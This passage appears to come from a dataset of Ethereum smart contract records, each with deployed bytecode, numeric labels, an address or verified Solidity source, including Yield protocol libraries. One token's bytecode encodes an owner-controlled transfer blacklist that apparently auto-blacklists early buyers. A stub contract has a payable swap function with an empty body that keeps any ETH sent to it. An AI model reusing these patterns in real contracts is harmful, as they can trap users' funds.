401610b81565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661191c5760405162461bcd60e51b8152600401610b8190613072565b6001600160a01b0382166119425760405162461bcd60e51b8152600401610b81906130b7565b6001600160a01b0382166000908152600e602052604090205460ff1615801561198457506001600160a01b0383166000908152600e602052604090205460ff16155b6119ea5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b81565b806119fb5761101a8383600061247c565b600b5460ff1615611eb5576005546001600160a01b03848116911614801590611a3257506005546001600160a01b03838116911614155b8015611a4657506001600160a01b03821615155b8015611a5d57506001600160a01b03821661dead14155b8015611a735750600554600160a01b900460ff16155b15611eb557600b54610100900460ff16611b0b576001600160a01b0383166000908152601f602052604090205460ff1680611ac657506001600160a01b0382166000908152601f602052604090205460ff165b611b0b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b81565b600f5460ff1615611c52576005546001600160a01b03838116911614801590611b6657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ba457507f000000000000000000000000b9274081c4f2ed557ad5077619085824b34411af6001600160a01b0316826001600160a01b031614155b15611c5257326000908152600c60205260409020544311611c3f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b81565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611c9257506001600160a01b038216600090815260208052604090205460ff16155b15611d7657600854811115611d075760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b81565b600a546001600160a01b038316600090815260208190526040902054611d2d9083612f36565b1115611d715760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b611eb5565b6001600160a01b03821660009081526021602052604090205460ff168015611db657506001600160a01b038316600090815260208052604090205460ff16155b15611e2c57600854811115611d715760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b81565b6001600160a01b038216600090815260208052604090205460ff16611eb557600a546001600160a01b038316600090815260208190526040902054611e719083612f36565b1115611eb55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b601e54611ec3906003612f36565b4311158015611f0457507f000000000000000000000000b9274081c4f2ed557ad5077619085824b34411af6001600160a01b0316826001600160a01b031614155b8015611f2d57506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611f56576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f000000000000000000000000b9274081c4f2ed557ad5077619085824b34411af6001600160a01b0390811690841614801581611f9c5750600b546301000000900460ff165b15612042576001600160a01b0384166000908152600d602052604090205415801590611fee57506001600160a01b0384166000908152600d60205260409020544290611feb9062015180612f36565b10155b156120275760185460168190556019546015819055601a5460178190559161201591612f36565b61201f9190612f36565b6014556120b8565b60026016819055600360158190556017549161201591612f36565b6001600160a01b0383166000908152600d602052604090205461207b576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166120b85760036016819055601581905560016017819055906120aa9080612f36565b6120b49190612f36565b6014555b30600090815260208190526040902054600954811080159081906120e45750600b5462010000900460ff165b80156120fa5750600554600160a01b900460ff16155b801561211f57506001600160a01b03861660009081526021602052604090205460ff16155b801561214457506001600160a01b0386166000908152601f602052604090205460ff16155b801561216957506001600160a01b0385166000908152601f602052604090205460ff16155b15612197576005805460ff60a01b1916600160a01b179055612189612585565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a01b9092048216159116806121e557506001600160a01b0386166000908152601f602052604090205460ff165b156121ee575060005b600081156123d9576001600160a01b03871660009081526021602052604090205460ff16801561222057506000601454115b156122de57612245606461223f601454896127bf90919063ffffffff16565b9061283e565b9050601454601654826122589190612ef5565b6122629190612f14565b601c60008282546122739190612f36565b90915550506014546017546122889083612ef5565b6122929190612f14565b601d60008282546122a39190612f36565b90915550506014546015546122b89083612ef5565b6122c29190612f14565b601b60008282546122d39190612f36565b909155506123bb9050565b6001600160a01b03881660009081526021602052604090205460ff16801561230857506000601054115b156123bb57612327606461223f601054896127bf90919063ffffffff16565b90506010546012548261233a9190612ef5565b6123449190612f14565b601c60008282546123559190612f36565b909155505060105460135461236a9083612ef5565b6123749190612f14565b601d60008282546123859190612f36565b909155505060105460115461239a9083612ef5565b6123a49190612f14565b601b60008282546123b59190612f36565b90915550505b80156123cc576123cc88308361247c565b6123d681876130fa565b95505b6123e488888861247c565b5050505050505050565b600081848411156124125760405162461bcd60e51b8152600401610b819190612b9f565b50600061241f84866130fa565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166124a25760405162461bcd60e51b8152600401610b8190613072565b6001600160a01b0382166124c85760405162461bcd60e51b8152600401610b81906130b7565b612505816040518060600160405280602681526020016131ce602691396001600160a01b03861660009081526020819052604090205491906123ee565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612534908261176b565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016118e9565b3060009081526020819052604081205490506000601d54601b54601c546125ac9190612f36565b6125b69190612f36565b905060008215806125c5575081155b156125cf57505050565b6009546125dd906014612ef5565b8311156125f5576009546125f2906014612ef5565b92505b6000600283601c54866126089190612ef5565b6126129190612f14565b61261c9190612f14565b9050600061262a8583612880565b905047612636826128c2565b60006126424783612880565b9050600061265f8761223f601b54856127bf90919063ffffffff16565b9050600061267c8861223f601d54866127bf90919063ffffffff16565b905060008161268b84866130fa565b61269591906130fa565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d80600081146126f2576040519150601f19603f3d011682016040523d82523d6000602084013e6126f7565b606091505b5090985050861580159061270b5750600081115b1561275e5761271a8782612a89565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d80600081146127ab576040519150601f19603f3d011682016040523d82523d6000602084013e6127b0565b606091505b50505050505050505050505050565b6000826127ce57506000610b51565b60006127da8385612ef5565b9050826127e78583612f14565b146117ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b60006117ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b71565b60006117ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123ee565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106128f7576128f7612f4e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561297057600080fd5b505afa158015612984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a89190613111565b816001815181106129bb576129bb612f4e565b60200260200101906001600160a01b031690816001600160a01b031681525050612a06307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612a5b90859060009086903090429060040161312e565b600060405180830381600087803b158015612a7557600080fd5b505af1158015610d76573d6000803e3d6000fd5b612ab4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612b3857600080fd5b505af1158015612b4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611260919061319f565b60008183612b925760405162461bcd60e51b8152600401610b819190612b9f565b50600061241f8486612f14565b600060208083528351808285015260005b81811015612bcc57858101830151858201604001528201612bb0565b81811115612bde576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612c0957600080fd5b50565b60008060408385031215612c1f57600080fd5b8235612c2a81612bf4565b946020939093013593505050565b600060208284031215612c4a57600080fd5b81356117ca81612bf4565b600060208284031215612c6757600080fd5b5035919050565b60008060008060008060c08789031215612c8757600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612cc657600080fd5b8335612cd181612bf4565b92506020840135612ce181612bf4565b929592945050506040919091013590565b8035801515811461163e57600080fd5b60008060408385031215612d1557600080fd5b8235612d2081612bf4565b9150612d2e60208401612cf2565b90509250929050565b600080600060608486031215612d4c57600080fd5b505081359360208301359350604090920135919050565b600060208284031215612d7557600080fd5b6117ca82612cf2565b60008083601f840112612d9057600080fd5b50813567ffffffffffffffff811115612da857600080fd5b6020830191508360208260051b8501011115612dc357600080fd5b9250929050565b60008060008060408587031215612de057600080fd5b843567ffffffffffffffff80821115612df857600080fd5b612e0488838901612d7e565b90965094506020870135915080821115612e1d57600080fd5b50612e2a87828801612d7e565b95989497509550505050565b60008060408385031215612e4957600080fd5b8235612e5481612bf4565b91506020830135612e6481612bf4565b809150509250929050565b600181811c90821680612e8357607f821691505b60208210811415612ea457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f0f57612f0f612edf565b500290565b600082612f3157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f4957612f49612edf565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b80851115612f9f578160001904821115612f8557612f85612edf565b80851615612f9257918102915b93841c9390800290612f69565b509250929050565b600082612fb657506001610b51565b81612fc357506000610b51565b8160018114612fd95760028114612fe357612fff565b6001915050610b51565b60ff841115612ff457612ff4612edf565b50506001821b610b51565b5060208310610133831016604e8410600b8410161715613022575081810a610b51565b61302c8383612f64565b806000190482111561304057613040612edf565b029392505050565b60006117ca60ff841683612fa7565b600060001982141561306b5761306b612edf565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561310c5761310c612edf565b500390565b60006020828403121561312357600080fd5b81516117ca81612bf4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561317e5784516001600160a01b031683529383019391830191600101613159565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156131b457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206543838d2a74fd8d3cbf86eb9c8126ee35e396b29b095bbb1c3399760c31625f64736f6c63430008090033
[ 21, 4, 7, 13, 5 ]
0xf2c9933c6e8e6e308ddbdf61adf8ad8f8e991465
// SPDX-License-Identifier: UNLICENSED pragma solidity =0.7.6; pragma abicoder v2; contract Torch2 { address public immutable TARGET = 0x881D40237659C251811CEC9c364ef91dC08D300C; function swap( string calldata aggregatorId, address tokenFrom, uint256 amount, bytes calldata data ) external payable {} }
0x6080604052600436106100295760003560e01c80635f5755291461002e578063cc1f2afa14610043575b600080fd5b61004161003c3660046100e0565b61006e565b005b34801561004f57600080fd5b50610058610076565b6040516100659190610175565b60405180910390f35b505050505050565b7f000000000000000000000000881d40237659c251811cec9c364ef91dc08d300c81565b60008083601f8401126100ab578182fd5b5081356001600160401b038111156100c1578182fd5b6020830191508360208285010111156100d957600080fd5b9250929050565b600080600080600080608087890312156100f8578182fd5b86356001600160401b038082111561010e578384fd5b61011a8a838b0161009a565b9098509650602089013591506001600160a01b038216821461013a578384fd5b9094506040880135935060608801359080821115610156578384fd5b5061016389828a0161009a565b979a9699509497509295939492505050565b6001600160a01b039190911681526020019056fea164736f6c6343000706000a
[ 2 ]
0xF2C9c61487D796032cdb9d57f770121218AC5F91
// File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: contracts/interfaces/IVat.sol pragma solidity ^0.6.10; /// @dev Interface to interact with the vat contract from MakerDAO /// Taken from https://github.com/makerdao/developerguides/blob/master/devtools/working-with-dsproxy/working-with-dsproxy.md interface IVat { // function can(address, address) external view returns (uint); function hope(address) external; function nope(address) external; function live() external view returns (uint); function ilks(bytes32) external view returns (uint, uint, uint, uint, uint); function urns(bytes32, address) external view returns (uint, uint); function gem(bytes32, address) external view returns (uint); // function dai(address) external view returns (uint); function frob(bytes32, address, address, address, int, int) external; function fork(bytes32, address, address, int, int) external; function move(address, address, uint) external; function flux(bytes32, address, address, uint) external; } // File: contracts/interfaces/IPot.sol pragma solidity ^0.6.10; /// @dev interface for the pot contract from MakerDao /// Taken from https://github.com/makerdao/developerguides/blob/master/dai/dsr-integration-guide/dsr.sol interface IPot { function chi() external view returns (uint256); function pie(address) external view returns (uint256); // Not a function, but a public variable. function rho() external returns (uint256); function drip() external returns (uint256); function join(uint256) external; function exit(uint256) external; } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/IWeth.sol pragma solidity ^0.6.10; interface IWeth { function deposit() external payable; function withdraw(uint) external; function approve(address, uint) external returns (bool) ; function transfer(address, uint) external returns (bool); function transferFrom(address, address, uint) external returns (bool); } // File: contracts/interfaces/IGemJoin.sol pragma solidity ^0.6.10; /// @dev Interface to interact with the `Join.sol` contract from MakerDAO using ERC20 interface IGemJoin { function rely(address usr) external; function deny(address usr) external; function cage() external; function join(address usr, uint WAD) external; function exit(address usr, uint WAD) external; } // File: contracts/interfaces/IDaiJoin.sol pragma solidity ^0.6.10; /// @dev Interface to interact with the `Join.sol` contract from MakerDAO using Dai interface IDaiJoin { function rely(address usr) external; function deny(address usr) external; function cage() external; function join(address usr, uint WAD) external; function exit(address usr, uint WAD) external; } // File: contracts/interfaces/IChai.sol pragma solidity ^0.6.10; /// @dev interface for the chai contract /// Taken from https://github.com/makerdao/developerguides/blob/master/dai/dsr-integration-guide/dsr.sol interface IChai { function balanceOf(address account) external view returns (uint256); function transfer(address dst, uint wad) external returns (bool); function move(address src, address dst, uint wad) external returns (bool); function transferFrom(address src, address dst, uint wad) external returns (bool); function approve(address usr, uint wad) external returns (bool); function dai(address usr) external returns (uint wad); function join(address dst, uint wad) external; function exit(address src, uint wad) external; function draw(address src, uint wad) external; function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; function nonces(address account) external view returns (uint256); } // File: contracts/interfaces/ITreasury.sol pragma solidity ^0.6.10; interface ITreasury { function debt() external view returns(uint256); function savings() external view returns(uint256); function pushDai(address user, uint256 dai) external; function pullDai(address user, uint256 dai) external; function pushChai(address user, uint256 chai) external; function pullChai(address user, uint256 chai) external; function pushWeth(address to, uint256 weth) external; function pullWeth(address to, uint256 weth) external; function shutdown() external; function live() external view returns(bool); function vat() external view returns (IVat); function weth() external view returns (IWeth); function dai() external view returns (IERC20); function daiJoin() external view returns (IDaiJoin); function wethJoin() external view returns (IGemJoin); function pot() external view returns (IPot); function chai() external view returns (IChai); } // File: contracts/interfaces/IERC2612.sol // Code adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237/ pragma solidity ^0.6.0; /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. */ interface IERC2612 { /** * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); } // File: contracts/interfaces/IFYDai.sol pragma solidity ^0.6.10; interface IFYDai is IERC20, IERC2612 { function isMature() external view returns(bool); function maturity() external view returns(uint); function chi0() external view returns(uint); function rate0() external view returns(uint); function chiGrowth() external view returns(uint); function rateGrowth() external view returns(uint); function mature() external; function unlocked() external view returns (uint); function mint(address, uint) external; function burn(address, uint) external; function flashMint(uint, bytes calldata) external; function redeem(address, address, uint256) external returns (uint256); // function transfer(address, uint) external returns (bool); // function transferFrom(address, address, uint) external returns (bool); // function approve(address, uint) external returns (bool); } // File: contracts/interfaces/IFlashMinter.sol pragma solidity ^0.6.10; interface IFlashMinter { function executeOnFlashMint(uint256 fyDaiAmount, bytes calldata data) external; } // File: contracts/interfaces/IDelegable.sol pragma solidity ^0.6.10; interface IDelegable { function addDelegate(address) external; function addDelegateBySignature(address, address, uint, uint8, bytes32, bytes32) external; } // File: contracts/helpers/Delegable.sol pragma solidity ^0.6.10; /// @dev Delegable enables users to delegate their account management to other users. /// Delegable implements addDelegateBySignature, to add delegates using a signature instead of a separate transaction. contract Delegable is IDelegable { event Delegate(address indexed user, address indexed delegate, bool enabled); // keccak256("Signature(address user,address delegate,uint256 nonce,uint256 deadline)"); bytes32 public immutable SIGNATURE_TYPEHASH = 0x0d077601844dd17f704bafff948229d27f33b57445915754dfe3d095fda2beb7; bytes32 public immutable DELEGABLE_DOMAIN; mapping(address => uint) public signatureCount; mapping(address => mapping(address => bool)) public delegated; constructor () public { uint256 chainId; assembly { chainId := chainid() } DELEGABLE_DOMAIN = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes('Yield')), keccak256(bytes('1')), chainId, address(this) ) ); } /// @dev Require that msg.sender is the account holder or a delegate modifier onlyHolderOrDelegate(address holder, string memory errorMessage) { require( msg.sender == holder || delegated[holder][msg.sender], errorMessage ); _; } /// @dev Enable a delegate to act on the behalf of caller function addDelegate(address delegate) public override { _addDelegate(msg.sender, delegate); } /// @dev Stop a delegate from acting on the behalf of caller function revokeDelegate(address delegate) public { _revokeDelegate(msg.sender, delegate); } /// @dev Add a delegate through an encoded signature function addDelegateBySignature(address user, address delegate, uint deadline, uint8 v, bytes32 r, bytes32 s) public override { require(deadline >= block.timestamp, 'Delegable: Signature expired'); bytes32 hashStruct = keccak256( abi.encode( SIGNATURE_TYPEHASH, user, delegate, signatureCount[user]++, deadline ) ); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DELEGABLE_DOMAIN, hashStruct ) ); address signer = ecrecover(digest, v, r, s); require( signer != address(0) && signer == user, 'Delegable: Invalid signature' ); _addDelegate(user, delegate); } /// @dev Enable a delegate to act on the behalf of an user function _addDelegate(address user, address delegate) internal { require(!delegated[user][delegate], "Delegable: Already delegated"); delegated[user][delegate] = true; emit Delegate(user, delegate, true); } /// @dev Stop a delegate from acting on the behalf of an user function _revokeDelegate(address user, address delegate) internal { require(delegated[user][delegate], "Delegable: Already undelegated"); delegated[user][delegate] = false; emit Delegate(user, delegate, false); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/helpers/DecimalMath.sol pragma solidity ^0.6.10; /// @dev Implements simple fixed point math mul and div operations for 27 decimals. contract DecimalMath { using SafeMath for uint256; uint256 constant public UNIT = 1e27; /// @dev Multiplies x and y, assuming they are both fixed point with 27 digits. function muld(uint256 x, uint256 y) internal pure returns (uint256) { return x.mul(y).div(UNIT); } /// @dev Divides x between y, assuming they are both fixed point with 27 digits. function divd(uint256 x, uint256 y) internal pure returns (uint256) { return x.mul(UNIT).div(y); } /// @dev Multiplies x and y, rounding up to the closest representable number. /// Assumes x and y are both fixed point with `decimals` digits. function muldrup(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x.mul(y); return z.mod(UNIT) == 0 ? z.div(UNIT) : z.div(UNIT).add(1); } /// @dev Divides x between y, rounding up to the closest representable number. /// Assumes x and y are both fixed point with `decimals` digits. function divdrup(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x.mul(UNIT); return z.mod(y) == 0 ? z.div(y) : z.div(y).add(1); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/helpers/Orchestrated.sol pragma solidity ^0.6.10; /** * @dev Orchestrated allows to define static access control between multiple contracts. * This contract would be used as a parent contract of any contract that needs to restrict access to some methods, * which would be marked with the `onlyOrchestrated` modifier. * During deployment, the contract deployer (`owner`) can register any contracts that have privileged access by calling `orchestrate`. * Once deployment is completed, `owner` should call `transferOwnership(address(0))` to avoid any more contracts ever gaining privileged access. */ contract Orchestrated is Ownable { event GrantedAccess(address access, bytes4 signature); mapping(address => mapping (bytes4 => bool)) public orchestration; constructor () public Ownable() {} /// @dev Restrict usage to authorized users /// @param err The error to display if the validation fails modifier onlyOrchestrated(string memory err) { require(orchestration[msg.sender][msg.sig], err); _; } /// @dev Add orchestration /// @param user Address of user or contract having access to this contract. /// @param signature bytes4 signature of the function we are giving orchestrated access to. /// It seems to me a bad idea to give access to humans, and would use this only for predictable smart contracts. function 